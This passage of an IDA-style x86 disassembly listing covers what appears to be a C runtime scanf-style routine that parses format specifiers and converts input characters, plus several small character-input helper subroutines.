mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_420DD7: ; CODE XREF: sub_420D10+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43F1F4, 1
jle short loc_420DF4
movzx eax, bl
push 4
push eax
call sub_41FD15
pop ecx
pop ecx
jmp short loc_420E03
; ---------------------------------------------------------------------------
loc_420DF4: ; CODE XREF: sub_420D10+D3j
mov ecx, off_43EFE8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420E03: ; CODE XREF: sub_420D10+E2j
test eax, eax
jz short loc_420E19
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_420E7E
; ---------------------------------------------------------------------------
loc_420E19: ; CODE XREF: sub_420D10+F5j
cmp ebx, 4Eh
jg short loc_420E5C
jz short loc_420E7E
cmp ebx, 2Ah
jz short loc_420E57
cmp ebx, 46h
jz short loc_420E7E
cmp ebx, 49h
jz short loc_420E39
cmp ebx, 4Ch
jnz short loc_420E6B
inc [ebp+var_D]
jmp short loc_420E7E
; ---------------------------------------------------------------------------
loc_420E39: ; CODE XREF: sub_420D10+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_420E6B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_420E6B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_420E7E
; ---------------------------------------------------------------------------
loc_420E57: ; CODE XREF: sub_420D10+113j
inc [ebp+var_E]
jmp short loc_420E7E
; ---------------------------------------------------------------------------
loc_420E5C: ; CODE XREF: sub_420D10+10Cj
cmp ebx, 68h
jz short loc_420E78
cmp ebx, 6Ch
jz short loc_420E70
cmp ebx, 77h
jz short loc_420E73
loc_420E6B: ; CODE XREF: sub_420D10+122j
; sub_420D10+12Dj ...
inc [ebp+var_F]
jmp short loc_420E7E
; ---------------------------------------------------------------------------
loc_420E70: ; CODE XREF: sub_420D10+154j
inc [ebp+var_D]
loc_420E73: ; CODE XREF: sub_420D10+159j
inc [ebp+var_5]
jmp short loc_420E7E
; ---------------------------------------------------------------------------
loc_420E78: ; CODE XREF: sub_420D10+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_420E7E: ; CODE XREF: sub_420D10+107j
; sub_420D10+10Ej ...
cmp [ebp+var_F], 0
jz loc_420DD7
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420EA3
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420EA3: ; CODE XREF: sub_420D10+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420EC1
mov al, [esi]
cmp al, 53h
jz short loc_420EBD
cmp al, 43h
jz short loc_420EBD
or [ebp+var_5], 0FFh
jmp short loc_420EC1
; ---------------------------------------------------------------------------
loc_420EBD: ; CODE XREF: sub_420D10+1A1j
; sub_420D10+1A5j
mov [ebp+var_5], 1
loc_420EC1: ; CODE XREF: sub_420D10+19Bj
; sub_420D10+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_420EFA
cmp esi, 63h
jz short loc_420EEB
cmp esi, 7Bh
jz short loc_420EEB
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42179D
pop ecx
jmp short loc_420EF6
; ---------------------------------------------------------------------------
loc_420EEB: ; CODE XREF: sub_420D10+1C5j
; sub_420D10+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42176C
loc_420EF6: ; CODE XREF: sub_420D10+1D9j
pop ecx
mov [ebp+var_14], eax
loc_420EFA: ; CODE XREF: sub_420D10+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_420F0A
cmp [ebp+var_C], eax
jz loc_4216E6
loc_420F0A: ; CODE XREF: sub_420D10+1EFj
cmp esi, 6Fh
jg loc_421171
jz loc_421423
cmp esi, 63h
jz loc_42114E
cmp esi, 64h
jz loc_421423
jle loc_42119B
cmp esi, 67h
jle short loc_420F6E
cmp esi, 69h
jz short loc_420F56
cmp esi, 6Eh
jnz loc_42119B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_421651
jmp loc_421677
; ---------------------------------------------------------------------------
loc_420F56: ; CODE XREF: sub_420D10+229j
push 64h
pop esi
loc_420F59: ; CODE XREF: sub_420D10+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_4211E3
mov [ebp+var_17], 1
jmp loc_4211E8
; ---------------------------------------------------------------------------
loc_420F6E: ; CODE XREF: sub_420D10+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_420F8A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_420F8F
; ---------------------------------------------------------------------------
loc_420F8A: ; CODE XREF: sub_420D10+26Aj
cmp ebx, 2Bh
jnz short loc_420FA6
loc_420F8F: ; CODE XREF: sub_420D10+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42176C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420FA9
; ---------------------------------------------------------------------------
loc_420FA6: ; CODE XREF: sub_420D10+27Dj
mov edi, [ebp+arg_0]
loc_420FA9: ; CODE XREF: sub_420D10+294j
cmp [ebp+var_20], 0
jz short loc_420FB8
cmp [ebp+var_C], 15Dh
jle short loc_420FBF
loc_420FB8: ; CODE XREF: sub_420D10+29Dj
mov [ebp+var_C], 15Dh
loc_420FBF: ; CODE XREF: sub_420D10+2A6j
; sub_420D10+2F2j
cmp dword_43F1F4, 1
jle short loc_420FD4
push 4
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_420FDF
; ---------------------------------------------------------------------------
loc_420FD4: ; CODE XREF: sub_420D10+2B6j
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, 4
loc_420FDF: ; CODE XREF: sub_420D10+2C2j
test eax, eax
jz short loc_421004
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421004
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42176C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420FBF
; ---------------------------------------------------------------------------
loc_421004: ; CODE XREF: sub_420D10+2D1j
; sub_420D10+2DBj
cmp byte_43F1F8, bl
jnz short loc_421072
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421072
inc [ebp+var_4]
push edi
call sub_42176C
mov ebx, eax
mov al, byte_43F1F8
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_42102D: ; CODE XREF: sub_420D10+360j
cmp dword_43F1F4, 1
jle short loc_421042
push 4
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_42104D
; ---------------------------------------------------------------------------
loc_421042: ; CODE XREF: sub_420D10+324j
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, 4
loc_42104D: ; CODE XREF: sub_420D10+330j
test eax, eax
jz short loc_421072
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421072
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42176C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42102D
; ---------------------------------------------------------------------------
loc_421072: ; CODE XREF: sub_420D10+2FAj
; sub_420D10+304j ...
cmp [ebp+var_1C], 0
jz loc_42110A
cmp ebx, 65h
jz short loc_42108A
cmp ebx, 45h
jnz loc_42110A
loc_42108A: ; CODE XREF: sub_420D10+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42110A
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42176C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4210B1
mov [esi], al
inc esi
jmp short loc_4210B6
; ---------------------------------------------------------------------------
loc_4210B1: ; CODE XREF: sub_420D10+39Aj
cmp ebx, 2Bh
jnz short loc_4210D4
loc_4210B6: ; CODE XREF: sub_420D10+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4210C5
and [ebp+var_C], eax
jmp short loc_4210D4
; ---------------------------------------------------------------------------
loc_4210C5: ; CODE XREF: sub_420D10+3AEj
; sub_420D10+3F8j
inc [ebp+var_4]
push edi
call sub_42176C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4210D4: ; CODE XREF: sub_420D10+3A4j
; sub_420D10+3B3j
cmp dword_43F1F4, 1
jle short loc_4210E9
push 4
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_4210F4
; ---------------------------------------------------------------------------
loc_4210E9: ; CODE XREF: sub_420D10+3CBj
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, 4
loc_4210F4: ; CODE XREF: sub_420D10+3D7j
test eax, eax
jz short loc_42110A
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42110A
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4210C5
; ---------------------------------------------------------------------------
loc_42110A: ; CODE XREF: sub_420D10+366j
; sub_420D10+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_421786
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_421716
cmp [ebp+var_E], 0
jnz loc_421677
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43F598
add esp, 0Ch
jmp loc_421677
; ---------------------------------------------------------------------------
loc_42114E: ; CODE XREF: sub_420D10+20Cj
cmp [ebp+var_20], eax
jnz short loc_42115D
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_42115D: ; CODE XREF: sub_420D10+441j
cmp [ebp+var_5], 0
jle short loc_421167
mov [ebp+var_16], 1
loc_421167: ; CODE XREF: sub_420D10+451j
mov edi, offset dword_43F470
jmp loc_42127C
; ---------------------------------------------------------------------------
loc_421171: ; CODE XREF: sub_420D10+1FDj
mov eax, esi
sub eax, 70h
jz loc_42141F
sub eax, 3
jz loc_42126D
dec eax
dec eax
jz loc_421423
sub eax, 3
jz loc_420F59
sub eax, 3
jz short loc_4211BF
loc_42119B: ; CODE XREF: sub_420D10+21Bj
; sub_420D10+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_4216E6
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421677
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421677
; ---------------------------------------------------------------------------
loc_4211BF: ; CODE XREF: sub_420D10+489j
cmp [ebp+var_5], 0
jle short loc_4211C9
mov [ebp+var_16], 1
loc_4211C9: ; CODE XREF: sub_420D10+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_421280
mov eax, edi
lea edi, [eax+1]
jmp loc_42127C
; ---------------------------------------------------------------------------
loc_4211E3: ; CODE XREF: sub_420D10+24Fj
cmp ebx, 2Bh
jnz short loc_42120A
loc_4211E8: ; CODE XREF: sub_420D10+259j
dec [ebp+var_C]
jnz short loc_4211F9
cmp [ebp+var_20], 0
jz short loc_4211F9
mov [ebp+var_F], 1
jmp short loc_42120A
; ---------------------------------------------------------------------------
loc_4211F9: ; CODE XREF: sub_420D10+4DBj
; sub_420D10+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42176C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_42120A: ; CODE XREF: sub_420D10+4D6j
; sub_420D10+4E7j
cmp ebx, 30h
jnz loc_421458
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42176C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_421258
cmp bl, 58h
jz short loc_421258
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_421242
push 6Fh
loc_42123C: ; CODE XREF: sub_420D10+55Bj
pop esi
jmp loc_421458
; ---------------------------------------------------------------------------
loc_421242: ; CODE XREF: sub_420D10+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421786
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_421455
; ---------------------------------------------------------------------------
loc_421258: ; CODE XREF: sub_420D10+517j
; sub_420D10+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42176C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_42123C
; ---------------------------------------------------------------------------
loc_42126D: ; CODE XREF: sub_420D10+46Fj
cmp [ebp+var_5], 0
jle short loc_421277
mov [ebp+var_16], 1
loc_421277: ; CODE XREF: sub_420D10+561j
mov edi, offset dword_43F468
loc_42127C: ; CODE XREF: sub_420D10+45Cj
; sub_420D10+4CEj
or [ebp+var_18], 0FFh
loc_421280: ; CODE XREF: sub_420D10+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BD60
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_4212A4
cmp byte ptr [edi], 5Dh
jnz short loc_4212A4
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_4212A7
; ---------------------------------------------------------------------------
loc_4212A4: ; CODE XREF: sub_420D10+584j
; sub_420D10+589j
mov dl, [ebp+var_35]
loc_4212A7: ; CODE XREF: sub_420D10+592j
; sub_420D10+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_42130C
inc edi
cmp al, 2Dh
jnz short loc_4212F3
test dl, dl
jz short loc_4212F3
mov cl, [edi]
cmp cl, 5Dh
jz short loc_4212F3
inc edi
cmp dl, cl
jnb short loc_4212C6
mov al, cl
jmp short loc_4212CA
; ---------------------------------------------------------------------------
loc_4212C6: ; CODE XREF: sub_420D10+5B0j
mov al, dl
mov dl, cl
loc_4212CA: ; CODE XREF: sub_420D10+5B4j
cmp dl, al
ja short loc_4212EF
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_4212D7: ; CODE XREF: sub_420D10+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_4212D7
loc_4212EF: ; CODE XREF: sub_420D10+5BCj
xor dl, dl
jmp short loc_4212A7
; ---------------------------------------------------------------------------
loc_4212F3: ; CODE XREF: sub_420D10+5A0j
; sub_420D10+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_4212A7
; ---------------------------------------------------------------------------
loc_42130C: ; CODE XREF: sub_420D10+59Bj
cmp byte ptr [edi], 0
jz loc_421716
cmp [ebp+var_3C], 7Bh
jnz short loc_42131E
mov [ebp+arg_4], edi
loc_42131E: ; CODE XREF: sub_420D10+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_421786
pop ecx
pop ecx
loc_421335: ; CODE XREF: sub_420D10+6BCj
; sub_420D10+6C4j
cmp [ebp+var_20], 0
jz short loc_421349
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_4213E5
loc_421349: ; CODE XREF: sub_420D10+629j
inc [ebp+var_4]
push edi
call sub_42176C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_4213D9
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_4213D9
cmp [ebp+var_E], 0
jnz short loc_4213D1
cmp [ebp+var_16], 0
jz short loc_4213C6
mov ecx, off_43EFE8
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_4213A5
inc [ebp+var_4]
push edi
call sub_42176C
pop ecx
mov [ebp+var_37], al
loc_4213A5: ; CODE XREF: sub_420D10+686j
push dword_43F1F4
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4246EE
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_4213C9
; ---------------------------------------------------------------------------
loc_4213C6: ; CODE XREF: sub_420D10+673j
mov [esi], al
inc esi
loc_4213C9: ; CODE XREF: sub_420D10+6B4j
mov [ebp+var_2C], esi
jmp loc_421335
; ---------------------------------------------------------------------------
loc_4213D1: ; CODE XREF: sub_420D10+66Dj
inc [ebp+var_30]
jmp loc_421335
; ---------------------------------------------------------------------------
loc_4213D9: ; CODE XREF: sub_420D10+649j
; sub_420D10+667j
dec [ebp+var_4]
push edi
push eax
call sub_421786
pop ecx
pop ecx
loc_4213E5: ; CODE XREF: sub_420D10+633j
cmp [ebp+var_30], esi
jz loc_421716
cmp [ebp+var_E], 0
jnz loc_421677
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421677
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_421417
and word ptr [eax], 0
jmp loc_421677
; ---------------------------------------------------------------------------
loc_421417: ; CODE XREF: sub_420D10+6FCj
and byte ptr [eax], 0
jmp loc_421677
; ---------------------------------------------------------------------------
loc_42141F: ; CODE XREF: sub_420D10+466j
mov [ebp+var_D], 1
loc_421423: ; CODE XREF: sub_420D10+203j
; sub_420D10+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_421431
mov [ebp+var_17], 1
jmp short loc_421436
; ---------------------------------------------------------------------------
loc_421431: ; CODE XREF: sub_420D10+719j
cmp ebx, 2Bh
jnz short loc_421458
loc_421436: ; CODE XREF: sub_420D10+71Fj
dec [ebp+var_C]
jnz short loc_421447
cmp [ebp+var_20], 0
jz short loc_421447
mov [ebp+var_F], 1
jmp short loc_421458
; ---------------------------------------------------------------------------
loc_421447: ; CODE XREF: sub_420D10+729j
; sub_420D10+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42176C
pop ecx
mov ebx, eax
loc_421455: ; CODE XREF: sub_420D10+543j
mov [ebp+var_14], ebx
loc_421458: ; CODE XREF: sub_420D10+4FDj
; sub_420D10+52Dj ...
cmp [ebp+var_30], 0
jz loc_421571
cmp [ebp+var_F], 0
jnz loc_42154F
loc_42146C: ; CODE XREF: sub_420D10+82Cj
cmp esi, 78h
jnz short loc_4214C0
cmp dword_43F1F4, 1
jle short loc_421489
push 80h
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_421496
; ---------------------------------------------------------------------------
loc_421489: ; CODE XREF: sub_420D10+768j
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, 80h
loc_421496: ; CODE XREF: sub_420D10+777j
test eax, eax
jz loc_421541
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4247C0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_421735
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_421513
; ---------------------------------------------------------------------------
loc_4214C0: ; CODE XREF: sub_420D10+75Fj
cmp dword_43F1F4, 1
jle short loc_4214D5
push 4
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_4214E0
; ---------------------------------------------------------------------------
loc_4214D5: ; CODE XREF: sub_420D10+7B7j
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, 4
loc_4214E0: ; CODE XREF: sub_420D10+7C3j
test eax, eax
jz short loc_421541
cmp esi, 6Fh
jnz short loc_4214FE
cmp ebx, 38h
jge short loc_421541
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4247C0
jmp short loc_42150D
; ---------------------------------------------------------------------------
loc_4214FE: ; CODE XREF: sub_420D10+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41DA80
loc_42150D: ; CODE XREF: sub_420D10+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_421513: ; CODE XREF: sub_420D10+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_42152B
dec [ebp+var_C]
jz short loc_42154F
loc_42152B: ; CODE XREF: sub_420D10+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42176C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42146C
; ---------------------------------------------------------------------------
loc_421541: ; CODE XREF: sub_420D10+788j
; sub_420D10+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421786
pop ecx
pop ecx
loc_42154F: ; CODE XREF: sub_420D10+756j
; sub_420D10+819j
cmp [ebp+var_17], 0
jz loc_421635
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_421635
; ---------------------------------------------------------------------------
loc_421571: ; CODE XREF: sub_420D10+74Cj
cmp [ebp+var_F], 0
jnz loc_42162D
loc_42157B: ; CODE XREF: sub_420D10+90Aj
cmp esi, 78h
jz short loc_4215BF
cmp esi, 70h
jz short loc_4215BF
cmp dword_43F1F4, 1
jle short loc_42159A
push 4
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_4215A5
; ---------------------------------------------------------------------------
loc_42159A: ; CODE XREF: sub_420D10+87Cj
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, 4
loc_4215A5: ; CODE XREF: sub_420D10+888j
test eax, eax
jz short loc_42161F
cmp esi, 6Fh
jnz short loc_4215B8
cmp ebx, 38h
jge short loc_42161F
shl edi, 3
jmp short loc_4215F7
; ---------------------------------------------------------------------------
loc_4215B8: ; CODE XREF: sub_420D10+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_4215F7
; ---------------------------------------------------------------------------
loc_4215BF: ; CODE XREF: sub_420D10+86Ej
; sub_420D10+873j
cmp dword_43F1F4, 1
jle short loc_4215D7
push 80h
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_4215E4
; ---------------------------------------------------------------------------
loc_4215D7: ; CODE XREF: sub_420D10+8B6j
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, 80h
loc_4215E4: ; CODE XREF: sub_420D10+8C5j
test eax, eax
jz short loc_42161F
push ebx
shl edi, 4
call sub_421735
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4215F7: ; CODE XREF: sub_420D10+8A6j
; sub_420D10+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_421609
dec [ebp+var_C]
jz short loc_42162D
loc_421609: ; CODE XREF: sub_420D10+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42176C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42157B
; ---------------------------------------------------------------------------
loc_42161F: ; CODE XREF: sub_420D10+897j
; sub_420D10+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421786
pop ecx
pop ecx
loc_42162D: ; CODE XREF: sub_420D10+865j
; sub_420D10+8F7j
cmp [ebp+var_17], 0
jz short loc_421635
neg edi
loc_421635: ; CODE XREF: sub_420D10+843j
; sub_420D10+85Cj ...
cmp esi, 46h
jnz short loc_42163E
and [ebp+var_1C], 0
loc_42163E: ; CODE XREF: sub_420D10+928j
cmp [ebp+var_1C], 0
jz loc_421716
cmp [ebp+var_E], 0
jnz short loc_421677
inc [ebp+var_34]
loc_421651: ; CODE XREF: sub_420D10+23Bj
cmp [ebp+var_30], 0
jz short loc_421667
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421677
; ---------------------------------------------------------------------------
loc_421667: ; CODE XREF: sub_420D10+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421674
mov [eax], edi
jmp short loc_421677
; ---------------------------------------------------------------------------
loc_421674: ; CODE XREF: sub_420D10+95Ej
mov [eax], di
loc_421677: ; CODE XREF: sub_420D10+241j
; sub_420D10+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_4216C4
; ---------------------------------------------------------------------------
loc_421682: ; CODE XREF: sub_420D10+93j
inc [ebp+var_4]
push edi
call sub_42176C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_4216F1
mov ecx, off_43EFE8
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_4216C4
inc [ebp+var_4]
push edi
call sub_42176C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_4216FF
dec [ebp+var_4]
loc_4216C4: ; CODE XREF: sub_420D10+970j
; sub_420D10+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4216DA
cmp byte ptr [esi], 25h
jnz short loc_42171C
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_42171C
mov esi, eax
loc_4216DA: ; CODE XREF: sub_420D10+9B8j
mov al, [esi]
test al, al
jnz loc_420D3A
jmp short loc_421716
; ---------------------------------------------------------------------------
loc_4216E6: ; CODE XREF: sub_420D10+1F4j
; sub_420D10+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_4216F6
; ---------------------------------------------------------------------------
loc_4216F1: ; CODE XREF: sub_420D10+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_4216F6: ; CODE XREF: sub_420D10+9DFj
call sub_421786
pop ecx
pop ecx
jmp short loc_421716
; ---------------------------------------------------------------------------
loc_4216FF: ; CODE XREF: sub_420D10+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_421786
dec [ebp+var_4]
push edi
push ebx
call sub_421786
add esp, 10h
loc_421716: ; CODE XREF: sub_420D10+1Fj
; sub_420D10+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42172D
loc_42171C: ; CODE XREF: sub_420D10+9BDj
; sub_420D10+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_421730
cmp [ebp+var_15], al
jnz short loc_421730
or eax, 0FFFFFFFFh
jmp short loc_421730
; ---------------------------------------------------------------------------
loc_42172D: ; CODE XREF: sub_420D10+A0Aj
mov eax, [ebp+var_34]
loc_421730: ; CODE XREF: sub_420D10+A11j
; sub_420D10+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420D10 endp
; =============== S U B R O U T I N E =======================================
sub_421735 proc near ; CODE XREF: sub_420D10+7A3p
; sub_420D10+8DCp
arg_0 = dword ptr 4
cmp dword_43F1F4, 1
push esi
jle short loc_42174F
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41FD15
pop ecx
pop ecx
jmp short loc_42175E
; ---------------------------------------------------------------------------
loc_42174F: ; CODE XREF: sub_421735+8j
mov esi, [esp+4+arg_0]
mov eax, off_43EFE8
mov al, [eax+esi*2]
and eax, 4
loc_42175E: ; CODE XREF: sub_421735+18j
test eax, eax
jnz short loc_421768
and esi, 0FFFFFFDFh
sub esi, 7
loc_421768: ; CODE XREF: sub_421735+2Bj
mov eax, esi
pop esi
retn
sub_421735 endp
; =============== S U B R O U T I N E =======================================
sub_42176C proc near ; CODE XREF: sub_420D10+1E1p
; sub_420D10+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42177E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42177E: ; CODE XREF: sub_42176C+7j
push edx
call sub_41F843
pop ecx
retn
sub_42176C endp
; =============== S U B R O U T I N E =======================================
sub_421786 proc near ; CODE XREF: sub_420D10+6Bp
; sub_420D10+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42179C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4247DF
pop ecx
pop ecx
locret_42179C: ; CODE XREF: sub_421786+5j
retn
sub_421786 endp
; =============== S U B R O U T I N E =======================================
sub_42179D proc near ; CODE XREF: sub_420D10+63p
; sub_420D10+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_4217A3: ; CODE XREF: sub_42179D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42176C
mov edi, eax
push edi
call sub_41DE70
pop ecx
test eax, eax
pop ecx
jnz short loc_4217A3
mov eax, edi
pop edi
pop esi
retn
sub_42179D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_4217C1(int,int,double,int)
sub_4217C1 proc near ; CODE XREF: sub_41CE49+51p
; sub_41CF8F+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43F960, 0
